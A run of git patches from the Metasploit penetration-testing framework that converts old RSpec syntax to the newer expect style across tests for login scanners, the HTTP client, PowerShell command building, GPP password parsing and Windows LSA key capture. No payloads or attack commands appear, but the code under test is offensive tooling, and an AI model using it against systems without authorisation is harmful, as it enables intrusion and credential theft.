b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb @@ -25,7 +25,7 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword end it 'should match Mdm::Module::Ref#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index c65e9d2599..acf862bf52 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -84,6 +84,7 @@ shared_examples_for 'Msf::DBManager::Session' do Class.new do include Msf::Session + attr_accessor :arch attr_accessor :exploit attr_accessor :datastore attr_accessor :platform @@ -123,7 +124,7 @@ shared_examples_for 'Msf::DBManager::Session' do context 'with a run_id in user_data' do before(:each) do - MetasploitDataModels::AutomaticExploitation::MatchSet.any_instance.stub(:create_match_for_vuln).and_return(nil) + allow(db_manager).to receive(:create_match_for_vuln).and_return(nil) end let(:match_set) do @@ -192,7 +193,7 @@ shared_examples_for 'Msf::DBManager::Session' do end before(:each) do - expect(session).to receive(:arch).and_return(arch) + allow(session).to receive(:arch).and_return(arch) end it 'should pass :arch to #find_or_create_host' do @@ -437,7 +438,7 @@ shared_examples_for 'Msf::DBManager::Session' do context "with session.exploit_datastore['ParentModule']" do it "should have session.exploit_datastore['ParentModule']" do - session.exploit_datastore['ParentModule'].should_not be_nil + expect(session.exploit_datastore['ParentModule']).not_to be_nil end it { expect(subject.via_exploit).to eq(parent_module_fullname) } @@ -516,9 +517,9 @@ shared_examples_for 'Msf::DBManager::Session' do context 'with workspace from either :workspace or session' do it 'should pass normalized host from session as :host to #find_or_create_host' do normalized_host = double('Normalized Host') - expect(db_manager).to receive(:normalize_host).with(session).and_return(normalized_host) + allow(db_manager).to receive(:normalize_host).with(session).and_return(normalized_host) # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. - expect(db_manager).to receive(:report_vuln) + allow(db_manager).to receive(:report_vuln) expect(db_manager).to receive(:find_or_create_host).with( hash_including( @@ -535,7 +536,7 @@ shared_examples_for 'Msf::DBManager::Session' do end before(:each) do - expect(session).to receive(:arch).and_return(arch) + allow(session).to receive(:arch).and_return(arch) end it 'should pass :arch to #find_or_create_host' do @@ -780,7 +781,7 @@ shared_examples_for 'Msf::DBManager::Session' do context "with session.exploit_datastore['ParentModule']" do it "should have session.exploit_datastore['ParentModule']" do - session.exploit_datastore['ParentModule'].should_not be_nil + expect(session.exploit_datastore['ParentModule']).not_to be_nil end it { expect(subject.via_exploit).to eq(parent_module_fullname) } From 64a870aac09a18a73dd07e6026144d54a5a700bb Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 08:02:09 -0500 Subject: [PATCH 1502/2172] Fix not implemented error by using double MSP-13484 --- spec/lib/msf/core/data_store_spec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/core/data_store_spec.rb b/spec/lib/msf/core/data_store_spec.rb index 587d057c28..9784c76ca3 100644 --- a/spec/lib/msf/core/data_store_spec.rb +++ b/spec/lib/msf/core/data_store_spec.rb @@ -71,9 +71,9 @@ RSpec.describe Msf::DataStore do "foo" => "bar", "fizz" => "buzz" } + ini_class = double from_file: ini_instance - ini = stub_const("Rex::Parser::Ini", Class.new) - allow(ini).to receive(:from_file).and_return(ini_instance) + stub_const("Rex::Parser::Ini", ini_class) s = described_class.new s.from_file("path") From 05585acb890e3ac3657058c00c88669e9aad9058 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 08:14:48 -0500 Subject: [PATCH 1503/2172] .should_not -> expect().not_to MSP-13484 --- spec/lib/msf/core/exploit/powershell_spec.rb | 12 ++++++------ spec/lib/msf/core/modules/loader/base_spec.rb | 6 +++--- spec/lib/msf/core/modules/namespace_spec.rb | 4 ++-- spec/lib/rex/exploitation/ropdb_spec.rb | 2 +- spec/lib/rex/parser/group_policy_preferences_spec.rb | 12 ++++++------ spec/lib/rex/parser/nmap_xml_spec.rb | 2 +- spec/lib/rex/parser/unattend_spec.rb | 2 +- spec/lib/rex/powershell/command_spec.rb | 12 ++++++------ spec/lib/rex/proto/http/client_spec.rb | 8 ++++---- spec/lib/rex/proto/http/response_spec.rb | 4 ++-- spec/lib/rex/random_identifier_generator_spec.rb | 2 +- spec/lib/rex/socket/range_walker_spec.rb | 6 +++--- spec/lib/rex/sslscan/scanner_spec.rb | 2 +- ...extract_module_detail_info_module_detail_child.rb | 2 +- .../examples/msf/module_manager/module_paths.rb | 2 +- spec/support/shared/examples/xor_encoder.rb | 8 ++++---- 16 files changed, 43 insertions(+), 43 deletions(-) diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb index 331494b7a6..3e19e93fa7 100644 --- a/spec/lib/msf/core/exploit/powershell_spec.rb +++ b/spec/lib/msf/core/exploit/powershell_spec.rb @@ -466,14 +466,14 @@ RSpec.describe Msf::Exploit::Powershell do opt_length = opts.length - 1 - short_args.should_not be_nil - long_args.should_not be_nil + expect(short_args).not_to be_nil + expect(long_args).not_to be_nil expect(short_args.count('-')).to eql opt_length expect(long_args.count('-')).to eql opt_length - short_args[0].should_not eql " " - long_args[0].should_not eql " " - short_args[-1].should_not eql " " - long_args[-1].should_not eql " " + expect(short_args[0]).not_to eql " " + expect(long_args[0]).not_to eql " " + expect(short_args[-1]).not_to eql " " + expect(long_args[-1]).not_to eql " " if opts[:command] expect(long_args[-10..-1]).to eql "-Command Z" diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index b3ac70d79f..fb87c9de66 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -149,7 +149,7 @@ RSpec.describe Msf::Modules::Loader::Base do # successful. end - error.should_not be_nil + expect(error).not_to be_nil expect(error.backtrace[0]).to include(module_path) end end @@ -1056,7 +1056,7 @@ RSpec.describe Msf::Modules::Loader::Base do current_constant = Msf::Modules.const_get(relative_name) - current_constant.should_not be_nil + expect(current_constant).not_to be_nil expect(current_constant).not_to eq @existent_namespace_module end @@ -1344,7 +1344,7 @@ RSpec.describe Msf::Modules::Loader::Base do context 'without metasploit_class responding to is_usable' do it 'should return true' do metasploit_class = double('Metasploit Class') - metasploit_class.should_not respond_to(:is_usable) + expect(metasploit_class).not_to respond_to(:is_usable) expect(subject.send(:usable?, metasploit_class)).to be_truthy end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index c34eaa0ed9..bf4c79e160 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -157,7 +157,7 @@ RSpec.describe Msf::Modules::Namespace do rescue Msf::Modules::MetasploitClassCompatibilityError => error end - error.should_not be_nil + expect(error).not_to be_nil expect(error.to_s).to include(module_path) end @@ -169,7 +169,7 @@ RSpec.describe Msf::Modules::Namespace do rescue Msf::Modules::MetasploitClassCompatibilityError => error end - error.should_not be_nil + expect(error).not_to be_nil expect(error.to_s).to include(module_reference_name) end end diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb index e8088418dd..273570e485 100644 --- a/spec/lib/rex/exploitation/ropdb_spec.rb +++ b/spec/lib/rex/exploitation/ropdb_spec.rb @@ -51,7 +51,7 @@ RSpec.describe Rex::Exploitation::RopDb do gadgets1 = ropdb.select_rop('msvcrt') gadgets2 = ropdb.select_rop('msvcrt', {'base'=>0x10000000}) - gadgets2[0].should_not eq(gadgets1[0]) + expect(gadgets2[0]).not_to eq(gadgets1[0]) end end diff --git a/spec/lib/rex/parser/group_policy_preferences_spec.rb b/spec/lib/rex/parser/group_policy_preferences_spec.rb index a8d960eb2b..f0f1718974 100644 --- a/spec/lib/rex/parser/group_policy_preferences_spec.rb +++ b/spec/lib/rex/parser/group_policy_preferences_spec.rb @@ -125,15 +125,15 @@ RSpec.describe Rex::Parser::GPP do it "Parse returns results for xml_ms and password is empty" do results = GPP.parse(xml_ms) - results.should_not be_empty + expect(results).not_to be_empty expect(results[0][:PASS]).to be_empty end it "Parse returns results for xml_datasrc, and attributes, and password is test1" do results = GPP.parse(xml_datasrc) - results.should_not be_empty + expect(results).not_to be_empty expect(results[0].include?(:ATTRIBUTES)).to be_truthy - results[0][:ATTRIBUTES].should_not be_empty + expect(results[0][:ATTRIBUTES]).not_to be_empty expect(results[0][:PASS]).to eq("test") end @@ -147,8 +147,8 @@ RSpec.describe Rex::Parser::GPP do it "Parse returns results for all good xmls and passwords" do xmls.each do |xml| results = GPP.parse(xml) - results.should_not be_empty - results[0][:PASS].should_not be_empty + expect(results).not_to be_empty + expect(results[0][:PASS]).not_to be_empty end end @@ -159,7 +159,7 @@ RSpec.describe Rex::Parser::GPP do xmls.each do |xml| results = GPP.parse(xml) tables = GPP.create_tables(results, "test") - tables.should_not be_empty + expect(tables).not_to be_empty end end end diff --git a/spec/lib/rex/parser/nmap_xml_spec.rb b/spec/lib/rex/parser/nmap_xml_spec.rb index 81b0a7ad51..f966b14eaa 100644 --- a/spec/lib/rex/parser/nmap_xml_spec.rb +++ b/spec/lib/rex/parser/nmap_xml_spec.rb @@ -29,7 +29,7 @@ RSpec.describe Rex::Parser::NmapXMLStreamParser do parser.on_found_host = Proc.new { |host| total_hosts += 1 it "should yield a host" do - host.should_not be_nil + expect(host).not_to be_nil end it "should populate the host with proper keys" do expect(host).to have_key("status") diff --git a/spec/lib/rex/parser/unattend_spec.rb b/spec/lib/rex/parser/unattend_spec.rb index 34a22d55cb..87c046923f 100644 --- a/spec/lib/rex/parser/unattend_spec.rb +++ b/spec/lib/rex/parser/unattend_spec.rb @@ -35,7 +35,7 @@ RSpec.describe Rex::Parser::Unattend do it "returns results for all positive examples" do pos_xmls.each do |xml| results = described_class.parse(xml) - results.should_not be_empty + expect(results).not_to be_empty end end diff --git a/spec/lib/rex/powershell/command_spec.rb b/spec/lib/rex/powershell/command_spec.rb index 90097191df..6d0c87a67f 100644 --- a/spec/lib/rex/powershell/command_spec.rb +++ b/spec/lib/rex/powershell/command_spec.rb @@ -385,14 +385,14 @@ RSpec.describe Rex::Powershell::Command do opt_length = opts.length - 1 - short_args.should_not be_nil - long_args.should_not be_nil + expect(short_args).not_to be_nil + expect(long_args).not_to be_nil expect(short_args.count('-')).to eql opt_length expect(long_args.count('-')).to eql opt_length - short_args[0].should_not eql " " - long_args[0].should_not eql " " - short_args[-1].should_not eql " " - long_args[-1].should_not eql " " + expect(short_args[0]).not_to eql " " + expect(long_args[0]).not_to eql " " + expect(short_args[-1]).not_to eql " " + expect(long_args[-1]).not_to eql " " if opts[:command] expect(long_args[-10..-1]).to eql "-Command Z" diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 1cd665cbb6..d4076fc4ce 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -113,7 +113,7 @@ RSpec.describe Rex::Proto::Http::Client do it "should not send creds on the first request in order to induce a 401" do req = cli.request_cgi - req.to_s.should_not match("Authorization:") + expect(req.to_s).not_to match("Authorization:") end it "should send creds after receiving a 401" do @@ -125,7 +125,7 @@ RSpec.describe Rex::Proto::Http::Client do expect(conn).to receive(:get_once).and_return(first_response, authed_response) expect(conn).to receive(:put) do |str_request| - str_request.should_not include("Authorization") + expect(str_request).not_to include("Authorization") nil end expect(conn).to receive(:put) do |str_request| @@ -170,7 +170,7 @@ RSpec.describe Rex::Proto::Http::Client do it "should test for credentials" do skip "Should actually respond to :has_creds" do - cli.should_not have_creds + expect(cli).not_to have_creds this_cli = described_class.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) expect(this_cli).to have_creds end @@ -206,7 +206,7 @@ RSpec.describe Rex::Proto::Http::Client do end it "should tell if pipelining is enabled" do - cli.should_not be_pipelining + expect(cli).not_to be_pipelining this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) this_cli.pipeline = true expect(this_cli).to be_pipelining diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index 29e458d344..b6d8a2666c 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -191,8 +191,8 @@ RSpec.describe Rex::Proto::Http::Response do resp = described_class.new() resp.parse(self.send meth) cookies = resp.get_cookies - cookies.should_not be_nil - cookies.should_not be '' + expect(cookies).not_to be_nil + expect(cookies).not_to be '' cookies.split(';').map(&:strip) end diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index 28a6c579df..fbcc00e53e 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -35,7 +35,7 @@ RSpec.describe Rex::RandomIdentifierGenerator do expect(ident).to match(/\A[a-z0-9_]*\Z/) ident = subject.generate { |identifier| identifier.gsub("A","B") } - ident.should_not include("A") + expect(ident).not_to include("A") end end diff --git a/spec/lib/rex/socket/range_walker_spec.rb b/spec/lib/rex/socket/range_walker_spec.rb index 28a352f49e..cd8965ca76 100644 --- a/spec/lib/rex/socket/range_walker_spec.rb +++ b/spec/lib/rex/socket/range_walker_spec.rb @@ -75,12 +75,12 @@ RSpec.describe Rex::Socket::RangeWalker do it 'should reject CIDR ranges with missing octets' do walker = Rex::Socket::RangeWalker.new('192.168/24') - walker.should_not be_valid + expect(walker).not_to be_valid end it 'should reject a CIDR range with too many octets' do walker = Rex::Socket::RangeWalker.new('192.168.1.2.0/24') - walker.should_not be_valid + expect(walker).not_to be_valid end it "should default the lower bound of a range to 0" do @@ -118,7 +118,7 @@ RSpec.describe Rex::Socket::RangeWalker do walker = Rex::Socket::RangeWalker.new("10.1.1.1,3") expect(walker).to be_valid expect(walker.length).to eq 2 - walker.should_not include("10.1.1.2") + expect(walker).not_to include("10.1.1.2") end it "should produce the same ranges with * and 0-255" do diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index f0324c1d2e..d7209bc24b 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -93,7 +93,7 @@ RSpec.describe Rex::SSLScan::Scanner do subject.send(:initialize, 'google.com', 443) end it "should mark SSLv2 as unsupported" do - subject.supported_versions.should_not include :SSLv2 + expect(subject.supported_versions).not_to include :SSLv2 expect(subject.sslv2).to eq false end diff --git a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb index a25135cc46..1bd2ef6e82 100644 --- a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb +++ b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb @@ -10,7 +10,7 @@ shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_de end it "should not have Mdm::Module::Detail##{attribute_name} nil" do - attribute.should_not be_nil + expect(attribute).not_to be_nil end it "should have Mdm::Module::Detail##{attribute_name} for #{child_node_name} content" do diff --git a/spec/support/shared/examples/msf/module_manager/module_paths.rb b/spec/support/shared/examples/msf/module_manager/module_paths.rb index 52939a24b0..30c4363133 100644 --- a/spec/support/shared/examples/msf/module_manager/module_paths.rb +++ b/spec/support/shared/examples/msf/module_manager/module_paths.rb @@ -9,7 +9,7 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do path_with_trailing_separator = path + File::SEPARATOR module_manager.add_module_path(path_with_trailing_separator) - module_paths.should_not include(path_with_trailing_separator) + expect(module_paths).not_to include(path_with_trailing_separator) expect(module_paths).to include(path) end end diff --git a/spec/support/shared/examples/xor_encoder.rb b/spec/support/shared/examples/xor_encoder.rb index 070730d80a..2be9a25a50 100644 --- a/spec/support/shared/examples/xor_encoder.rb +++ b/spec/support/shared/examples/xor_encoder.rb @@ -22,15 +22,15 @@ shared_examples_for 'an xor encoder' do |keysize| if keysize > 1 it "should deal with input lengths that aren't a multiple of keysize" do - lambda { + expect { encoded, key = described_class.encode("A"*(keysize+1), "A"*keysize) expect(encoded).to eql("\x00"*(keysize+1)) - }.should_not raise_error + }.not_to raise_error - lambda { + expect { encoded, key = described_class.encode("A"*(keysize-1), "A"*keysize) expect(encoded).to eql("\x00"*(keysize-1)) - }.should_not raise_error + }.not_to raise_error end end From a8f766ffbd6cfc0d5c875b62fe8931ad111ea343 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 08:43:38 -0500 Subject: [PATCH 1504/2172] Fix unimplemented method allows MSP-13484 --- .../core/exploit/remote/browser_exploit_server_spec.rb | 10 ++++++---- .../exploit/remote/browser_profile_manager_spec.rb | 9 ++++----- 2 files changed, 10 insertions(+), 9 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 88f414a585..5eede70d26 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -38,9 +38,14 @@ RSpec.describe Msf::Exploit::Remote::BrowserExploitServer do end let(:cli) do - sock = Rex::Socket::Tcp + sock_class = Class.new do + include Rex::Socket::Tcp + end + + sock = sock_class.new allow(sock).to receive(:peerhost).and_return('0.0.0.0') allow(sock).to receive(:peerport).and_return(4444) + sock end @@ -199,9 +204,6 @@ RSpec.describe Msf::Exploit::Remote::BrowserExploitServer do describe '#on_request_uri' do before(:each) do - allow(server).to receive(:get_profile_info) { in_memory_profile } - allow(server).to receive(:init_profile).with(kind_of(String)) - allow(server).to receive(:update_profile) allow(server).to receive(:process_browser_info) allow(server).to receive(:send_response) { @send_response_called = true } allow(server).to receive(:send_redirect) { @send_redirect_called = true } diff --git a/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb index e942293e44..fe7620471d 100644 --- a/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb @@ -2,11 +2,11 @@ require 'msf/core' RSpec.describe Msf::Exploit::Remote::BrowserProfileManager do - subject do + subject(:exploit_remmote) { mod = Msf::Exploit::Remote.allocate mod.extend described_class mod - end + } let(:default_profile) do { @@ -15,9 +15,8 @@ RSpec.describe Msf::Exploit::Remote::BrowserProfileManager do end before(:each) do - framework = double('framework') - allow(framework).to receive(:browser_profiles).and_return(default_profile) - allow_any_instance_of(described_class).to receive(:framework).and_return(framework) + framework = double('framework', browser_profiles: default_profile) + allow(exploit_remmote).to receive(:framework).and_return(framework) end describe '#browser_profile_prefix' do From 910b630d96accb60b59a3b691ebfa579c6e76abe Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 08:56:10 -0500 Subject: [PATCH 1505/2172] it { should == -> it { is_expected.to eq MSP-13484 --- spec/lib/rex/socket_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb index c3682e835b..82fb173712 100644 --- a/spec/lib/rex/socket_spec.rb +++ b/spec/lib/rex/socket_spec.rb @@ -74,7 +74,7 @@ RSpec.describe Rex::Socket do context 'with lots of single 0s' do let(:try) { "fe80:0:0:0:0:0:0:1" } - it { should == "fe80::1" } + it { is_expected.to eq "fe80::1" } end end From 4858ae63bdbd8fab59bcf7c7e13202f34b35d77b Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:22:12 -0500 Subject: [PATCH 1506/2172] Thread class name for debugger has changed, so add new name MSP-13484 --- lib/metasploit/framework/spec/threads/suite.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb index c78791c579..84459cc68a 100644 --- a/lib/metasploit/framework/spec/threads/suite.rb +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -204,7 +204,8 @@ module Metasploit Thread.list.reject { |thread| # don't do `is_a? Debugger::DebugThread` because it requires Debugger::DebugThread to be loaded, which it # won't when not debugging. - thread.class.name == 'Debugger::DebugThread' + thread.class.name == 'Debugger::DebugThread' || + thread.class.name == 'Debase::DebugThread' } end end From ba88de84ece65baffd8fd357684294dc0a3b16af Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:23:05 -0500 Subject: [PATCH 1507/2172] Fix mocking errors MSP-13484 --- spec/lib/msf/core/post/windows/priv_spec.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/spec/lib/msf/core/post/windows/priv_spec.rb b/spec/lib/msf/core/post/windows/priv_spec.rb index 127da96a7e..9b12cc80e0 100644 --- a/spec/lib/msf/core/post/windows/priv_spec.rb +++ b/spec/lib/msf/core/post/windows/priv_spec.rb @@ -6,11 +6,13 @@ require 'msf/core/post/windows/priv' RSpec.describe Msf::Post::Windows::Priv do subject do - mod = Module.new - mod.extend described_class - stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, ] - stubs.each { |meth| expect(mod).to receive(meth) } - mod + context_described_class = described_class + + klass = Class.new(Msf::Post) do + include context_described_class + end + + klass.new end let(:boot_key_vista) do @@ -100,7 +102,6 @@ RSpec.describe Msf::Post::Windows::Priv do it "should produce expected LSA key" do expect(subject).to receive(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "").and_return(pol_enc_key_xp) - expect(subject).to receive(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolEKList", "").and_return(nil) subject.capture_lsa_key(boot_key_xp) end end From 6f71810010c1a90f36235021ae37b4b7c112d0f3 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:23:22 -0500 Subject: [PATCH 1508/2172] it { should -> it { is_expected.to MSP-13484 --- .../abstract_adapter/connection_pool_spec.rb | 2 +- .../metasploit/framework/credential_spec.rb | 14 +++---- .../framework/jtr/invalid_wordlist_spec.rb | 2 +- .../metasploit/framework/jtr/wordlist_spec.rb | 18 ++++----- .../framework/login_scanner/afp_spec.rb | 2 +- .../framework/login_scanner/base_spec.rb | 6 +-- .../framework/login_scanner/invalid_spec.rb | 2 +- .../framework/login_scanner/mssql_spec.rb | 2 +- .../framework/login_scanner/result_spec.rb | 10 ++--- .../framework/login_scanner/smb_spec.rb | 16 ++++---- .../framework/login_scanner/ssh_spec.rb | 2 +- .../framework/login_scanner/telnet_spec.rb | 4 +- .../framework/login_scanner_spec.rb | 12 +++--- .../lib/msf/core/exe/segment_appender_spec.rb | 10 ++--- .../lib/msf/core/exe/segment_injector_spec.rb | 10 ++--- .../remote/firefox_addon_generator_spec.rb | 2 +- spec/lib/msf/core/payload_generator_spec.rb | 40 +++++++++---------- .../payloads/meterpreter/uri_checksum_spec.rb | 6 +-- .../extensions/stdapi/sys/registry_spec.rb | 12 +++--- .../rex/random_identifier_generator_spec.rb | 10 ++--- spec/lib/rex/socket/range_walker_spec.rb | 16 ++++---- spec/lib/rex/socket_spec.rb | 6 +-- spec/lib/rex/sslscan/result_spec.rb | 30 +++++++------- spec/lib/rex/sslscan/scanner_spec.rb | 8 ++-- spec/support/matchers/query_the_database.rb | 4 +- .../examples/credential/core/to_credential.rb | 2 +- .../framework/login_scanner/http.rb | 4 +- .../login_scanner/login_scanner_base.rb | 12 +++--- .../framework/login_scanner/ntlm.rb | 12 +++--- .../framework/login_scanner/rex_socket.rb | 4 +- .../metasploit/framework/tcp/client.rb | 4 +- .../examples/msf/db_manager/migration.rb | 6 +-- .../shared/examples/msf/db_manager/session.rb | 6 +-- .../examples/msf/module_manager/cache.rb | 16 ++++---- .../msf/simple/framework/module_paths.rb | 2 +- 35 files changed, 157 insertions(+), 157 deletions(-) diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index 0bf3450f34..0ecc9ee6cd 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -44,7 +44,7 @@ RSpec.describe ActiveRecord::ConnectionAdapters::ConnectionPool do end context 'in thread with connection' do - it { should be_truthy } + it { is_expected.to be_truthy } end context 'in thread without connection' do diff --git a/spec/lib/metasploit/framework/credential_spec.rb b/spec/lib/metasploit/framework/credential_spec.rb index 53b4e1807a..3ba1fd099d 100644 --- a/spec/lib/metasploit/framework/credential_spec.rb +++ b/spec/lib/metasploit/framework/credential_spec.rb @@ -13,12 +13,12 @@ RSpec.describe Metasploit::Framework::Credential do let(:realm_type) { Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN } let(:private_type) { :password } - it { should respond_to :paired } - it { should respond_to :private } - it { should respond_to :private_type } - it { should respond_to :public } - it { should respond_to :realm } - it { should respond_to :realm_key } + it { is_expected.to respond_to :paired } + it { is_expected.to respond_to :private } + it { is_expected.to respond_to :private_type } + it { is_expected.to respond_to :public } + it { is_expected.to respond_to :realm } + it { is_expected.to respond_to :realm_key } describe "#paired" do it "defaults to true" do @@ -86,7 +86,7 @@ RSpec.describe Metasploit::Framework::Credential do subject(:cred_detail) do described_class.new(public: public, private: private, realm: realm) end - it { should respond_to :to_credential } + it { is_expected.to respond_to :to_credential } it "should return self" do expect(cred_detail.to_credential).to eq(cred_detail) end diff --git a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb index 4058eddc18..3040b69818 100644 --- a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb +++ b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb @@ -17,7 +17,7 @@ RSpec.describe Metasploit::Framework::JtR::InvalidWordlist do end end - it { should be_a StandardError } + it { is_expected.to be_a StandardError } it 'should use ActiveModel::Errors#full_messages' do expect(model.errors).to receive(:full_messages).and_call_original diff --git a/spec/lib/metasploit/framework/jtr/wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb index 03a6025f02..5171ef744b 100644 --- a/spec/lib/metasploit/framework/jtr/wordlist_spec.rb +++ b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb @@ -28,15 +28,15 @@ RSpec.describe Metasploit::Framework::JtR::Wordlist do "p@$$w0rd" ] } - it { should respond_to :appenders } - it { should respond_to :custom_wordlist } - it { should respond_to :mutate } - it { should respond_to :prependers } - it { should respond_to :use_common_root } - it { should respond_to :use_creds } - it { should respond_to :use_db_info } - it { should respond_to :use_default_wordlist } - it { should respond_to :use_hostnames } + it { is_expected.to respond_to :appenders } + it { is_expected.to respond_to :custom_wordlist } + it { is_expected.to respond_to :mutate } + it { is_expected.to respond_to :prependers } + it { is_expected.to respond_to :use_common_root } + it { is_expected.to respond_to :use_creds } + it { is_expected.to respond_to :use_db_info } + it { is_expected.to respond_to :use_default_wordlist } + it { is_expected.to respond_to :use_hostnames } describe 'validations' do diff --git a/spec/lib/metasploit/framework/login_scanner/afp_spec.rb b/spec/lib/metasploit/framework/login_scanner/afp_spec.rb index c1688c578e..d0a17aef13 100644 --- a/spec/lib/metasploit/framework/login_scanner/afp_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/afp_spec.rb @@ -10,7 +10,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::AFP do it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' it_behaves_like 'Metasploit::Framework::Tcp::Client' - it { should respond_to :login_timeout } + it { is_expected.to respond_to :login_timeout } describe "#attempt_login" do let(:pub_blank) do diff --git a/spec/lib/metasploit/framework/login_scanner/base_spec.rb b/spec/lib/metasploit/framework/login_scanner/base_spec.rb index 630c9f4e6b..380c8f21cb 100644 --- a/spec/lib/metasploit/framework/login_scanner/base_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/base_spec.rb @@ -29,7 +29,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::Base do base_class.new(options) } - it { should respond_to :bruteforce_speed } + it { is_expected.to respond_to :bruteforce_speed } context 'validations' do @@ -70,7 +70,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::Base do end - it { should respond_to :sleep_time } + it { is_expected.to respond_to :sleep_time } context '#sleep_time' do @@ -93,7 +93,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::Base do end end - it { should respond_to :sleep_between_attempts } + it { is_expected.to respond_to :sleep_between_attempts } context '#sleep_between_attempts' context 'default' do diff --git a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb index ee306145c5..ff6afecc4c 100644 --- a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb @@ -17,7 +17,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::Invalid do end end - it { should be_a StandardError } + it { is_expected.to be_a 